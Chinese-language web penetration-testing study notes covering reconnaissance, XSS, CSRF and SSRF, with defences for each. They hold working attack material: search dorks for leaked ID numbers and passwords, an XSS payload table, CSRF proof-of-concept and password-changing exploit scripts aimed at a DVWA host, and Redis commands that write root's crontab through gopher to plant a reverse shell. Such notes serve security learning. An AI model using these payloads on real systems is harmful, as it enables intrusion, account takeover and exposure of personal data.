网络安全学习笔记
OWASP TOP 10(2021)
失效的访问控制:访问控制措施为正确实施,导致攻击者可以绕过授权,执行其他本不应该被允许的操作。例如:访问其他用户的资料/文件。
加密机制失效:敏感数据(密码、银行卡号、个人信息)在存储或传输过程中没有得到足够的保护。导致数据泄露使被攻击者轻易破解。
注入
不安全的设计
安全配置错误
易受攻击和过时的组件
身份认证和授权失效
软件和数据完整性故障
安全日志与监控失效
服务端请求伪造
一、信息收集
1.1 思路
拿到资产后确定资产主体的官网和域名,然后通过被动手机的方式,确定网络范围内的目标,并通过收集一些必要的人员信息(如:工号、学号等等),然后筛选出重点渗透的目标,再进行针对性的主动信息收集。
收集的信息包括但不限于目标主机的IP、DNS信息、子域名、旁站和C站、CMS信息、敏感目录、邮箱、人员信息(工号、学号、手机号、身份证号等等)可能构成登录账号的信息。
1.1.1 被动信息收集
- 被动信息收集指的是通过搜索引擎(Google、Baidu等等)或网络空间测绘引擎(Fofa、鹰图)这类第三方服务对目标进行信息收集。
1.1.2 主动信息收集
- 主动信息收集指的是通过各种工具扫描对方的主机或网站,但这种方式会被对方记录操作信息。
1.2 网络空间搜索引擎
1.2.1 Google Hacker
1.2.1.1 常用语句
身份证泄露:intext:身份证 学院 -site:edu.cn -site:gov.cn filetype:xls
账号密码泄露:site:gitee.com filetype:txt intext:账号
敏感信息泄露:
intitle:“Index of /admin”
intitle:“Index of /root”
intitle:“Index of /” +password.txt
intitle:phpinfo()或者inurl:phpinfo.php
后台管理页面泄露:
site:www.baidu.com inurl:admin
intitle:后台管理 inurl:admin
site:xx.com intext:管理|后台|登陆|用户名|密码|系统|账号|admin|login|sys|managetem|password|username
登录页面搜索:site:www.baidu.com intext: 验证码
查找SQL注入:inurl:.php?id=23 公司
查找上传点:site:xx.com inurl:file| uploadfile
1.2.1.2 语法
intext
- intext: 关键词
intitle
搜索标题中的内容。
intitle: 关键词
inurl
查找含有关键词的url(allinrul类似)。
inurl:关键词
site
返回含有关键词的所有域名。
site:edu.cn
-site:gov.cn
allintitle
同 intitle 只是allintitle可以搜索多个关键词,intitle 只能搜索一个。
allintitle: 关键词 关键词
filetype
查找文件类型。
filetype: 文件扩展名 (doc xls等)
info
查询站点信息。
info:baidu.com
1.2.1.3 运算符
- (非)
- A-C:有A但是没有C的网页。
+
- "xxx"+baidu.com 搜索xxx与baidu.com相关的内容。
"" (引号)
- 表示完全匹配,即关键词不能分开,顺序也不能变。
OR "|" (或)
- AORB,有A或B的网站。
and "," "空格"(且)
- AandB,有A且有B的。
通配符
- google通配符:*表示一连串字符,?表示单个字符(?前后的字符串被视作两个单词,指两个单词之间可以插入一个单词),用通配符时要将引号将关键词括起来。
1.2.2 Fofa
直达链接:https://fofa.info
1.2.2.1 语法
title
在标题中搜索xxx
title="管理"
header
在HTTP头搜索xxx
header="utf-8"
body
在正文中搜索xxx
body="管理"
domain
搜索带有根域名的网站
domain="qq.com"
host
搜索带有xxx的网站
host="login"
port
搜索指定端口
port="8080"
port="8080,3306" 同时开放8080和3306的网站
ip
从IP中搜索带有x.x.x.x的网站,也可以查网段
ip="12.12.12.12"
ip="12.12.12.0/24"
icp
查找备案号为“xxx”的网站
icp="京ICP证030173号"
icon_hash
搜索使用此图标的资产
icon_hash="-247388890"
country
搜索指定国家(编码)的资产
country="CN"
region
搜索指定行政区的资产
region="Xinjiang"
city
搜索指定城市的资产
city="Ürümqi"
cert
搜索证书(https或者imaps等)中带有baidu的资产
cert="baidu"
1.2.2.2 逻辑符
&&
- 逻辑与
||
- 逻辑或
==
- 精确匹配
!=
- 不包含
1.2.3 Hunter(奇安信鹰图)
直达链接:https://hunter.qianxin.com
1.2.3.1 语法
web
web.body="网络空间测绘"
- 搜索网站正文包含”网络空间测绘“的资产
web.title="北京"
- 从网站标题中搜索“北京”
web.similar_icon=="17262739310191283300"
- 查询网站icon与该icon相似的资产
web.icon="22eeab765346f14faf564a4709f98548"
- 查询网站icon与该icon相同的资产
web.similar_id="3322dfb483ea6fd250b29de488969b35"
- 查询与该网页相似的资产
web.similar="baidu.com:443"
- 查询与baidu.com:443网站的特征相似的资产
app
app="海康威视 Hikvision Firmware 5.0+"&& ip.ports="8000"
- 设备搜索且开放 8000的资产
app.name="小米 Router"
- 搜索标记为”小米 Router“的资产
app.vendor="PHP"
- 查询包含组件厂商为”PHP”的资产
app.version="1.8.1"
- 查询包含组件版本为”1.8.1″的资产
protocol
protocol="http"
- 搜索协议为”http“的资产
protocol.transport="udp"
- 搜索传输层协议为”udp“的资产
protocol.banner="nginx"
- 查询端口响应中包含”nginx”的资产
domain=""
- 搜索子域名
icp
icp.web_name="奇安信"
- 查询ICP备案网站名中带有 奇安信 的资产
icp.type="企业"
- 搜索ICP备案主体为“企业”的资产
icp.name="奇安信"
- 搜索ICP备案单位名中含有“奇安信”的资产
icp.number="京ICP备16020626号-8"
- 搜索通过域名关联的ICP备案号为”京ICP备16020626号-8”的网站资产
header
header="elastic"
- 搜索HTTP请求头中含有”elastic“的资产
header.status_code="402"
- 搜索HTTP请求返回状态码为”402”的资产
header.server=="Microsoft-IIS/10"
- 搜索server全名为“Microsoft-IIS/10”的服务器
header.content_length="691"
- 搜索HTTP消息主体的大小为691的网站
ip
ip=”1.1.1.1″ 搜索IP为 ”1.1.1.1”的资产
ip=”220.181.111.1/24″ 搜索起始IP为”220.181.111.1“的C段资产
ip.port_count>”2″ 搜索开放端口大于2的IP(支持等于、大于、小于)
ip.ports=”80″ && ip.ports=”443″ 查询开放了80和443端口号的资产
ip.port=”6379″ 搜索开放端口为”6379“的资产
ip.isp=”电信” 搜索运营商为”中国电信”的资产
ip.country=”CN” 或 ip.country=”中国” 搜索IP对应主机所在国为”中国“的资产
ip.province=”江苏” 搜索IP对应主机在江苏省的资产
ip.city=”北京” 搜索IP对应主机所在城市为”北京“市的资产
ip.os=”Windows” 搜索操作系统标记为”Windows“的资产
1.2.4 其他平台
360网络空间测绘:https://quake.360.net
1.3 主动信息收集
1.3.1 子域名探测
1.3.1.1 DNS域传送漏洞
原理:DNS协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。如果管理员在配置DNS服务器时没有限制允许获取记录的来源,将会导致DNS域传送漏洞。暴露目标在DNS的记录。
利用:可以通过dig命令发送axfr类型的DNS请求,获取目标域名在目标DNS服务器上的子域名记录
dig @<DNS_SERVER_IP(DNS服务器)> -t axfr <DOMAIN(域名)>
二、XSS(跨站脚本攻击)
2.1 什么是XSS(Cross-Site Scripting)
XSS(Cross-Site Scripting)攻击者可以利用网站对用户输入过滤的不足,将恶意的脚本代码注入到网页中,当其他用户浏览该网页时,嵌入其中的恶意代码就会被执行。
区分 层叠样式表(Casacding Style Sheet ,CSS)区别
XSS属于客户端攻击,受害者就是最终用户。
出现原因:程序对用户输入和输出的控制不够严格,导致攻击者精心构造的脚本输入后再输出到前端时被浏览器当做有效的代码解析并执行,从而产生危害。
XSS 本质上 js能干啥 它就能干啥。
攻击对象:被攻击者的浏览器 因为浏览器中有javascript解释器,可以解析javascript,并且浏览器并不会判断代码是否恶意。
2.2 XSS 分类
2.2.1 反射型 XSS
概念:恶意脚本作为请求的一部分被发送到服务器,然后服务器立刻在响应中返回这个脚本,并在用户的浏览器中执行。反射回来的攻击。\ \ 交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。 也就意味着黑客需要诱导用户"点击"一个恶意链接,才能攻击成功
特点:非持久化,需要诱骗用户点击一个特制的链接。
例子:
1.一个搜索页面,搜索关键词会显示在结果页上(如:搜索的关键词是(用户输入))
2.攻击者构造一个恶意链接:http://baidu.com/search?q=<script>alert(doucment.cookie)</script>
3.用户点击这回链接后,服务器返回的页面中包含<script>alert("XSS")</script>,浏览器就会执行这个弹窗脚本。
2.2.2 存储型 XSS
概念:恶意脚本 被永久的存储在服务器上 (数据库、帖子、评论区)。当任意用户访问 包含恶意内容的页面时,脚本都会从服务器加载并执行。
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。
特点:持久化,危害广,不需要诱导用户点击。
例子:
1.一个博客网站评论系统。
2.攻击者在评论框中提交<script>alert("xss")</script>。
3.这条评论被保存在网站数据库中。
4.之后任何用户访问这篇博客,加载这条评论时,他们都会弹窗。
2.2.3 DOM型 XSS
概念:并非按照数据是否保存在服务器划分,从效果上看DOM型XSS也是反射性的。但它不与后台服务器产生数据交互,而是通过修改前端的DOM节点形成XSS漏洞。
DOM (Document Object Model) 文档对象模型,是一套操作 html 和 xml 的标准API (应用程序编程接口),DOM 将文档内容呈现在 Javascript 面前,赋予了 JavaScript操作文档的能力
如何判断是哪种类型的XSS
发送一次带有XSS Payload 的请求 Paload(载荷)
如果说当前返回的数据包发现XSS代码,那就是反射型。
如果说后续这个页面又都这个XSS代码,就是存储型。
如果返回包里没有XSS代码,但是弹窗了,就是DOM型。
2.2 XSS 可能存在地方
GET 型URL中提交的参数值,在页面中显示的。
POST 型表单中提交的参数值。在页面中显示的。
JOSN 数据中提交的键值对,在页面中显示的。
2.3 XSS 的危害
cookie劫持 document.cookie Http-Only 保证同一个Cookie不被滥用。
后台地址探测
钓鱼
获取浏览器信息 User-Agent
获取用户电脑的真实IP
传播蠕虫病毒
挂马
弹窗广告<iframe>标签来实现
刷流量 window.local.href="https://www.baidu.com"
2.4 常用Payload
| window.location.href | 该代码将返回当前页面的完整 URL(包括协议、域名、端口号、路径和查询参数等) |
| document.cookie | 获取当前用户 cookie |
| <script>alert('XSS');</script> | 最简单的 JavaScript 弹窗。 |
| <img src="#" onerror="alert('XSS');"> | 使用 img 标签中的 onerror 事件触发 JS 弹窗。 |
| <svg onload=alert('XSS')> | SVG 标签也可以被滥用来触发 XSS。 |
| "><script>alert('XSS')</script> | 类似 SQL 注入,输入一个字符然后在此字符串内完成攻击。 |
| 'onmouseover='alert("XSS") | 利用 HTML 属性唤起 onMouseOver 事件触发 JS 弹窗。 |
| javascript:alert('XSS') | 在 href 中植入 JS 代码,生成一个具有 XSS 潜质的超链接 |
2.5 XSS 测试方法
工具:APPScan、AWVS、BurpSuite、Yakit等等 半自动化工具 (BurpSuite、Firefox(hackbar)、XSSER XSSF等等)
手工:最重要的是考虑那里有输入,输入的数据在什么地方输出。
2.6 XSS 绕过
长度限制绕过
前端限制:对输入的字符串长度进行限制可以直接F12开发者工具中通过修改前端标签属性即可实现绕过。修改字符长度。
后端限制:
20字节 payload " onclick=alert(1)//
注释绕过长度限制 如果你可以控制链各个文本框。第二个文本框允许写入更多字节,这时候你可以使用HTML的注释符<!-- -->"把这两个<input>标签打通
大小混合/双写
拼凑绕过
利用字符编码
使用HTML进行编码
编码组合GBK/GB2312 %c1\ 组合在一起 会变成Unicode字符
htmlspecialchars()函数
定义:是一个将特殊字符转换为html实体的函数。
核心的作用。确保用户输入的数据在被输出到HTML页面时,是被转义的纯文本而不是被浏览器解释为HTML代码。
htmlspecialchars()
&(和) 成 &
" "
' '
<<
>>
2.7 XSS 防御
2.7.1 HttpOnly
作用:浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie
解决Cookie劫持的问题的
可以在F12的Application 的 Cookie 的右侧窗口看到 HttpOnly 如果它下面打√,就说明设置了HttpOnly
效果:
Cookie的使用过程
浏览器向服务器发起请求,这个最初阶段没有Cookie
服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie,HttpOnly就是这个·时候写到Cookie里的
在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie
效果:
- 服务器可能会设置多个Cookie(键值对),而HttpOnly可以有选择性的加在任何一个Cookie上。 这时应用可能需要JavaScript访问某几项Cookie,这种Cookie可以不设置HttpOnly标记,仅对用于认证的关键Cookie加上HttpOnly标记
2.7.2 输入检查
2.7.2.1 XSS Filter(XSS过滤):
检查用户输入的数据中有没有包含特殊字符,比如:“<”、 “>”、“'”、“"” 等等,如果发现特殊字符,则把这些字符进行过滤或者编码。
匹配XSS特征,比如:“<script>”、“javascript”、“document.cookie”等等,这种比较敏感字符。
输入检查的逻辑必须放在服务器上的,只在客户端使用JavaScript进行输入检查很容易被绕过。
目前普遍做法,同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端的输入检查可以阻挡大部分误操作的正常用户,从而节约服务器资源。
2.7.3 输出检查
2.7.3.1 安全的编码函数
2.7.3.1.1 PHP
可以使用HtmlEncode编码,把字符转换成HTMLEntities,对应标准:ISO-8859-1
htmlentities()
htmlspecialchar()
上面两个函数在PHP中可以满足字符转换需要
"&" --> @amp
"<" --> @lt
"> " --> @gt
' --> @#x27
" --> @quot
/ --> @#x2f
2.7.3.1.2 JavaScript
可以用JavaScriptEncode,跟HTMLEncode编码方式不同,它需要使用对特殊字符进行转义。对抗XSS时,要求输出的变量必须在引号内部,避免造成安全问题。\ 可以使用escapeJavaScript()函数 var x = '""' + escapeJavaScript($eval) + '""';\ // 最简单安全的方法
推荐使用:
var x = JSON.stringify($eval);
# 自动处理所有特殊字符
# 也可以正确处理各种攻击向量
# 保证一致性
# 内置标准符合Json规范
# 避免手动转义陷阱
# 性能也更好```
2.7.3.1.3 XMLEneode
- 和HTMLEncode相似
2.7.3.1.4 JSONEncode
- 和JavaScriptEncode相似
注意编码后的长度可能发生了改变,可能会影响某些功能的使用。所以在写代码的时候要注意细节避免Bug。
2.7.3.2 根据输出位置进行解决
M(Model):模型层 承载数据,并对用户提交的请求进行计算。
V(View):视图层 为用户提供使用界面,与用户直接进行交互。
C(Controller):控制器 将用户请求转发给相应的Model进行处理,并且根据Model的计算结果向用户提供相应的响应。
MVC 架构程序的工作流程:
用户先通过View页面向服务器提出请求,提出的请求可以是 Form、URL、AJAX请求等等
服务端 Controller 控制器接收请求后对请求进行解析,找到相应的Model 对用户的请求进行处理
Model处理后,将处理结果交给 Controller
Controller 在街道处理结果后,根据处理结果 找到要对应请求点 向客户端发回 响应 View页面。页面经过渲染 填充数据后,再发送给客户端。
在HTML标签/在属性中输出 可以使用HTMLEncode防御
源码
<div>$var</div>
<div id="abc" name="$var"></div>
payload
<script>alert("xss");</script>
"><script>alert("xss");</script><"
混淆后的语义
<div><script>alert("xss");</script></div>
<div id = "abc" name=""><script>alert("xss");</script><""></div>
在事件中输出 可以使用JavaScriptEncode防御
源码
- <a href=# onclick="funcA('$var')">test</a>
payload
- ');alert(/xss/);//
混淆后的语义
- <a href=# onclick="funcA('');alert(/xss/);//')">test</a>
在CSS中输出
在地址中输出
伪协议
DOM XSS防御
2.7.4 同源策略
2.7.4.1 什么是跨域
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
例(不同域):
https://smmna.cn
https://cloud.komll.com
2.7.4.2 默认同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象 那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
2.7.4.3 哪些标签不受同源策略的约束
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
Access-Control-Allow-Origin,设置为“ ***** ”,既允许所有人访问。**
三、CSRF(跨站请求伪造/客户端请求伪造)
DOM(Document Object Model)文档对象模型,是一个编程接口,HTML XML 表示为一种树状结构,能让程序动态发访问和更新文档内容、结构的样式。
用途:
动态修改内容 - 改变本文、改变内容
修改元素属性 - 改变class、id、style
添加/删除元素 - 动态创建和移除节点
事件处理 - 响应用户交互
3.1 CSRF(Cross Site Request Forgery)介绍
攻击者通过诱导用户访问其构造的恶意网站,并诱导用户在其中进行某些操作,以用户的身份在第三方网站(存在CSRF的站点)完成了攻击期望的恶意操作。\ 在利用的过程中需要受害者的浏览器保存第三方网站的身份信息。比如:Cookie、SESSION
但CSRF攻击成功的本质,重要操作的所有参数都是可以被攻击者猜测到的(不可避免,因为攻击者可以以正常用户的方式访问网站,从而拿到某个操作的报文)。
原理:开发的时候,没有对相关页面进行token和Referer判断,造成攻击者可构造自己的URL地址欺骗目标用户点击,浏览器一般不禁止发送第三方 Third-party Cookie,而不会对Session Cookie 做限制,所以CSRF利用的一般是Session 或 Cookie。
分类:主要根据参数提交的方法进行分类,因为最开始大部分的CSRF发起的时候,用的<image>、<iframe>、<script>等等 带有src属性的标签,这类标签只能发起一次GET请求,而不能发起POST请求,大家都以为将重要操作改为POST就能防止CSRF攻击
3.1.1 GET型CSRF
只需要一个HTTP请求,就能构造一次CSRF攻击
利用:
银行网站,只需要之后转账的请求就能完成操作
恶意网站,只有一个无法显示的图片 <img src=x onerror=>
3.1.2 POST型CSRF
未区分GET和POST的 当一些重要操作并未严格要求区分GET或POST时,攻击者可以使用GET请求来请求表单的提交地址时就可以伪造POST请求,比如<php>,如果使用$_REQUEST,而不是$_POST获取变量,就会导致可以通过GET请求来提交表单参数。
<form action"/register" id="register" mothod="post">
<input type="text" name="username" value=""/>
<input type="password" name="password" value=""/>
<input type="submit" name="submit" value=""/>
</form>
paload 可以构造如下GET请求,如果服务端未对请求方法进行限制,那么这个请求就会通过
http://localhost/register?username=test&password=passwd&submit=submit
区分了GET和POST的\ 可以通过中间页面构造POST请求。比如在一个页面中构造好一个Form,然后使用JavaScript自动提交表单。
<img src = http://www.b.com/test.html>
<form action="http: //www.a.com/register" id="register" method="post" >
<input type=text name="username" value=""/>
<input type=password name="password" value=""/>
<input type=submit name="submit" value="submit"/>
</form>
<script>
var f = document.getElementById ( "register");
f.inputs [0].value = "test";
f.inputs [1].value = "passwd" ;
f.submit ();
</script>
攻击者在www.b.com/test.html中写了上面的代码,那攻击者只需要构造一个上面GET型请求得Payload,将其只想自己搭的b.com即可测试网站a.com发送POST请求
3.2 Cookie
3.2.1 Session Cookie
是一段由网站服务器发送并存储在用户浏览器中的数据,主要目的是记住你爹信息和状态。
会话管理:保持你的登录状态,让你的浏览器在浏览不同页面时不会退出。
个性化:记住你的语言偏好,主题设置。
追踪:记录你的浏览习惯,用来显示个性化广告。
Session的核心目的就是在服务器端临时存储与单个用户相关的信息,以便于在整个会话期间记住用户的状态。
与Cookie紧密相关,
Cookie像会员卡号:它是一个小卡片(数据),存放在你这儿(浏览器)。你每次去商店的时候(访问网站)出示卡号,商店(服务器)就能根据你的的卡号去档案柜(服务器端)找到你的完整档案。
Session像你的完整会员档案:这个档案存放在商店的档案柜里(服务端),档案上贴着一个唯一的编号)(Session ID)。这个编号就是写在你会员卡(Cookie)上那个。
由于CSRF主要利用的就是Cookie\ 临时Cookie
Session Cookie ,服务器没有指定失效时间,它在浏览器进程的整个声明周期都有效果,保存在浏览器进程中的内存空间,只有关闭浏览器的时候才会失效
3.2.2 Third-party Cookie
它是服务器在Set-Cookie中指定了生存时间,只有到了时间之后Cookie才会失效,平时保存在本地。
3.3 利用过程
前提条件:
用户登录存在漏洞的网站,并且本地保存了身份信息;比如:cookie
在不登出或该网站Cookie没有失效的情况下访问了恶意网站。
过程:
用户登录的存在CSRF漏洞的网站
网站A验证了用户的登录信息,并下发了一个SessionID,客户端将其存储在浏览器中。
用户在新的Tab页访问了恶意网站B,并触发了相关操作(网站B中有链接直接指向了网站A)
浏览器在用户不知情的情况下,通过网站B中的连接访问了网站A(此时携带了用户的网站A的SessionID)
网站A校验了身份信息后,发现是合法的,就震醒了浏览器发送的请求对应的操作。
3.4 测试方法
检测工具
burp collaborator
- 它是BurpSuite中一个服务,用于检测外带应用程序的安全漏洞。(主动扫描/被动扫描)
CSRFTester
用它测试时,首先需要抓取浏览器中访问过的所有链接以及表单信息,然后通过工具中修改响应表单信息重新提交
如果修改后测试请求发送成功被网站服务器接受,说明存在CSRF漏洞
3.5 CSRF漏洞挖掘
3.5.1 容易出现的地方
扫描器
修改密码的地方
添加用户的地方
数据库备份的地方
数据交易、支付等
对话框钓鱼页面
3.5.2 测试方法
删除Referer重放
抓取一个正常的数据包,如果没有token或者referer字段,那就有可能存在CSRF漏洞
如果有referer字段,就去掉referer字段后重新提交,如果仍然返回想要的结果,那么基本可以确定存在CSRF漏洞
使用Burp生成POC
在类似修改内容的地方修改后提交,使用Burp拦截数据包
拦截后右键Engagement Tools --> Generatr CSRF POC,之后丢掉原数据包,使修改失效
将生成的数据包复制到一个HTML文件里,在已经登录的网站的浏览器上打开该文件,点击submit request,之后查看是否修改成功,如果修改成功,就存在漏洞。
CSRF一般与XSS结合使用
3.6 POC(概念验证)/EXP(漏洞利用)
POC(Proof of Concept)概念验证:证明漏洞存在,但不一定进行完整的利用
特点:
验证漏洞真实性
通常比较温和
用于报告和确认漏洞
不造成实际损害
示例:python csrf_high_poc.py
import requests
# 配置信息(请根据实际情况修改)
TARGET_URL = "http://117.10.146.12:12345/dvwa/vulnerabilities/csrf/"
PHPSESSID = "abc123xyz" # 替换为你浏览器中的实际 PHPSESSID 值
SECURITY_LEVEL = "high" # 可选: high / medium / low
print("🔍 正在进行 CSRF 漏洞 POC 检测...")
# 创建会话
session = requests.Session()
session.cookies.set("PHPSESSID", PHPSESSID)
session.cookies.set("security", SECURITY_LEVEL)
try:
# 尝试不带 user_token 直接修改密码(典型的 CSRF 攻击尝试)
params = {
'password_new': 'poc_test_123',
'password_conf': 'poc_test_123',
'Change': 'Change'
}
print("📤 正在发送无 token 的请求...")
response = session.get(TARGET_URL, params=params)
if "Password Changed" in response.text:
print("🎉 POC 成功!无需身份令牌即可修改密码 → 存在 CSRF 安全漏洞!")
print("📌 结论:该 High 级别并未正确防御 CSRF,存在严重安全隐患。")
else:
print("✅ POC 失败!服务器拒绝无 token 请求。")
print("🟢 结论:CSRF 防护机制生效,当前环境安全。")
except Exception as e:
print(f"❌ 检测过程中发生错误:{str(e)}")
EXP(Exploit)漏洞利用:实际利用漏洞获取权限/数据/控制系统
特点:
完整攻击代码
可能造成实际影响
用户渗透测试的利用阶段
需要谨慎使用,避免在渗透测试过程中,给客户/其他人造成不必要的损失。
示例:python csrf_high_exp.py
import requests
from bs4 import BeautifulSoup
# 配置信息
TARGET_URL = "http://117.10.146.12:12345/dvwa/vulnerabilities/csrf/"
PHPSESSID = "abc123xyz" # 必须替换为你自己的有效 PHPSESSID
SECURITY_LEVEL = "high"
NEW_PASSWORD = "exploited_pass_2025"
print("🚀 开始执行 CSRF EXP 利用脚本...")
# 创建会话并设置 Cookie
session = requests.Session()
session.cookies.set("PHPSESSID", PHPSESSID)
session.cookies.set("security", SECURITY_LEVEL)
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "text/html"
}
try:
# Step 1: 获取页面,提取 user_token
print("📥 正在访问目标页面以获取 user_token...")
res = session.get(TARGET_URL, headers=headers)
if "Login" in res.text:
print("❌ 登录状态失效,请检查 PHPSESSID 是否正确。")
exit()
soup = BeautifulSoup(res.text, 'html.parser')
token_input = soup.find('input', {'name': 'user_token'})
if not token_input:
print("⚠️ 未找到 user_token 字段,可能已修复或页面结构变化。")
user_token = None
else:
user_token = token_input['value']
print(f"🔑 成功提取 user_token: {user_token}")
# Step 2: 构造完整请求(带上 token)
print("📤 正在提交带 token 的密码修改请求...")
exploit_params = {
'password_new': NEW_PASSWORD,
'password_conf': NEW_PASSWORD,
'user_token': user_token,
'Change': 'Change'
}
response = session.get(TARGET_URL, params=exploit_params, headers=headers)
# Step 3: 判断是否成功
if "Password Changed" in response.text:
print(f"💥 EXP 成功!密码已被修改为:{NEW_PASSWORD}")
print("📌 提示:若此操作可被第三方网页自动完成,则仍可能存在 XSS+CSRF 组合攻击风险。")
else:
print("❌ EXP 失败!可能是 token 校验严格或网络问题。")
print("✅ 当前防护机制较为完善,单纯 CSRF 无法利用。")
except Exception as e:
print(f"🚫 执行过程中出现异常:{str(e)}")
注意事项
合法授权:只在授权范围内进行测试
影响评估:POC优先于EXP
数据保护:不窃取或破坏真实数据
报告修复:发现漏洞后及时报告并协助修复
3.7 防范方法
3.7.1 验证码
- CSRF的攻击过程中发送请求通常是不被用户所知的,而验证码则必须由用户与web应用交互才能完成最终的请求,但出于用户体验上的考虑,不可能给所有操作都加上验证码。所以验证码只能是作为防御CSRF的一种辅助手段,而不能作为最终解决方案
3.7.2 校验http referer字段
- 通过检查请求是否来自合法的源。 但校验referer的缺陷在于服务器并非总是可以取到referer。有些用户可能出于隐私保护的考虑,限制了referer的发送。在有些情况下浏览器也不会发送referer(比如从 HTTPS 跳转到 http)。
3.7.3 添加token值
防御Csrf的token是根据“不可预测性原则”设计的方案,所以Token一定要足够随机,需要使用安全的随机数生成器生成Token。 因为这个Token不是用来防止重复提交的,所以为了使用方便,可以允许在一个用户的生命周期内,在Token消耗掉前都使用同一个Token,但如果用户完成了表单的提交,这个Token就应该失效掉,并重新生成一个新的token。 最后,使用token时应注意token的保密性,token如果出现在某个页面的URL中,则可能会通过referer的方式泄露。这个就涉及到了凭证信息传输方式测试(这一测试要求token session 等会话信息必须使用POST方法请求)
最后一句话概括token的要点: 使用token时应尽量把Token放在表单中,把敏感操作有Get改为Post,以form表单(或AJAX)的形式提交,使用安全的随机数生成器生成token
四、SSRF(服务端请求伪造)
4.1 简介
3.1.1 概念
- SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成 由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部内容。(因为他是从内部访问的,所以可以通过它去攻击外网无法攻击的内部系统,也就是把目标当做中间人。)
4.1.2 产生的原因
- 由于服务端提供了从其他服务器应用获取数据的功能,但没有对地址和协议等做过过滤和限制引起的。
4.1.3 SSRF漏洞的局限性
大部分情况下都是GET型的SSRF漏洞,仅仅能探测存活、扫描端口、内网域名探测、危害十分有限。
https请求ssl证书无法正常解析
SSRF攻击结果由函数本身觉得,函数的功能越强大,攻击的成功率就越大。比如:curl_init、file_get_contents、fsockopen(代码审计时可以用到)。
4.1.4 存在的位置
分享:通过url地址分享的页面内容
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API实现与其他调用URL的功能
从URL关键词查找
share
wap
url
link
src
source
target
display
sourceURL
imageURL
domain
u
3g
4.2 SSRF漏洞的危害
可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)
攻击运行在内网或本地的应用程序(比如:溢出)
对内网的web进行指纹识别,通过访问默认文件实现。
攻击内外网的web应用,主要是使用get参数就可以实现攻击(Struts2,sqli等等)
利用file协议读取本地文件
如果是可以发送post请求的全回显型SSRF,甚至可以代建代理访问内网。
4.3 绕过方法
更改IP地址的写法(进制转换)
192.168.0.1
八进制:0300.0250.0.1
十六进制:0xC0.0xA8.0.1
利用解析URL出现的问题(把域名拼接上去,加@符)
- http://www.oldboyedu.com@192.168.0.1/
4.4 利用方法
4.4.1 服务端请求伪造
对内网扫描,获取banner
攻击运行在内网的应用,主要用GET参数可以实现的攻击(Struts2、sqli等等)
利用协议读取本地文件
云计算环境AWS、Google Cloud、Tencent Cloud、Alibaba Cloud 环境可以调用内网操作ECS的API
4.4.2 SSRF 如何用 Redis 写 WebShell
4.4.2.1 gopher协议
如何通过Weblogic漏洞,从外网拿到内网服务器的权限?
这么想象这么一个场景。我们发现在外网能访问的weblogic服务器有一个SSRF漏洞。这个漏洞就像是我们在这台服务器上装了一个假的邮局,我们可以让这个邮局帮我们往任何指定的地址寄信(通过发送网络请求)。而我们的目标是通过这个邮局。把一把后门钥匙送到内网中那台不对外服务的Redis数据库服务器上。并让他自己安装上。
第一步:找到并利用假的邮局。或者说找到并利用SSRF漏洞。
发现漏洞:我们发现一个weblogic有一个功能,它可以让它代表我们去访问一个我们提供的网站,这个就是SSRF漏洞。
选择特殊信封(Gopher协议):普通的HTTP信封可能不太好用。所以我们选择了一种更古老,更强大的信封格式Gopher。这个协议几乎可以直接发送任何我们想发送的原始数据。非常适合用来和Redis这种老派服务器对话。
突破限制:为了防止攻击,网站可能会过滤一些特殊字符。所以我们在组装信封内容的时候,会使用url编码。特别是我们需要用0%d0%a 来代表回车换行符。\r\n 因为这是在协议中表示一条命令结束的关键符号。
比喻:我们找到了一个可以帮我们寄信的邮局(SSRF),并且我们发明了一个特殊的暗语信封(Gopher协议)。还把信里的关键指令用密码写(URL编码),然后让邮局看不出真实的意图。
第二步:制作一把“后门钥匙”(Redis命令)
因为我们的目标是让Redis数据库帮我们执行系统命令,我们没有办法直接登陆Redis。但是可以通过发送特定的指令,让他按照我们的要求去做。
Redis可以把数据保存在内容里。也可以保存在文件里。我们就利用这个“写文件”的功能。在Linux系统中,有一个叫crontab的闹钟程序。它可以执行定时任务。我们只要把我们的命令写进crontab文件。到了时间系统就会自动执行。
FLUSHALL
SET payload "我们的恶意命令"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
FLUSHALL:清空Redis数据,确保干净。SET payload ...:把我们要执行的命令(比如反弹Shell的命令)存到一个叫payload的键里。CONFIG SET dir /var/spool/cron/:告诉Redis,接下来要把数据文件保存在crontab的目录下。CONFIG SET dbfilename root:把数据文件名设置为root(这样就会覆盖root用户的crontab文件)。SAVE:强制保存内存数据到硬盘。于是,Redis就会把它的数据(包含我们的恶意命令)写入到/var/spool/cron/root这个文件中。
简单比喻:我们写了一串指令,让一个听话的秘书(Redis)把一张写着“每天凌晨3点打开后门”的纸条(反弹Shell命令),塞进了老板(root用户)的日程本(crontab文件)里。
第三步:把“钥匙”装进“信封”并寄出(组合利用)
现在,我们把第二步的Redis命令,用第一步提到的规则包装起来:
格式化命令:将每条Redis命令用
\r\n分隔,这是Redis协议的要求。进行URL编码:将所有的
\r\n替换成%0d%0a,并对其他可能被过滤的特殊字符进行编码。组装Gopher负载:将编码后的命令流作为Gopher协议的数据体。
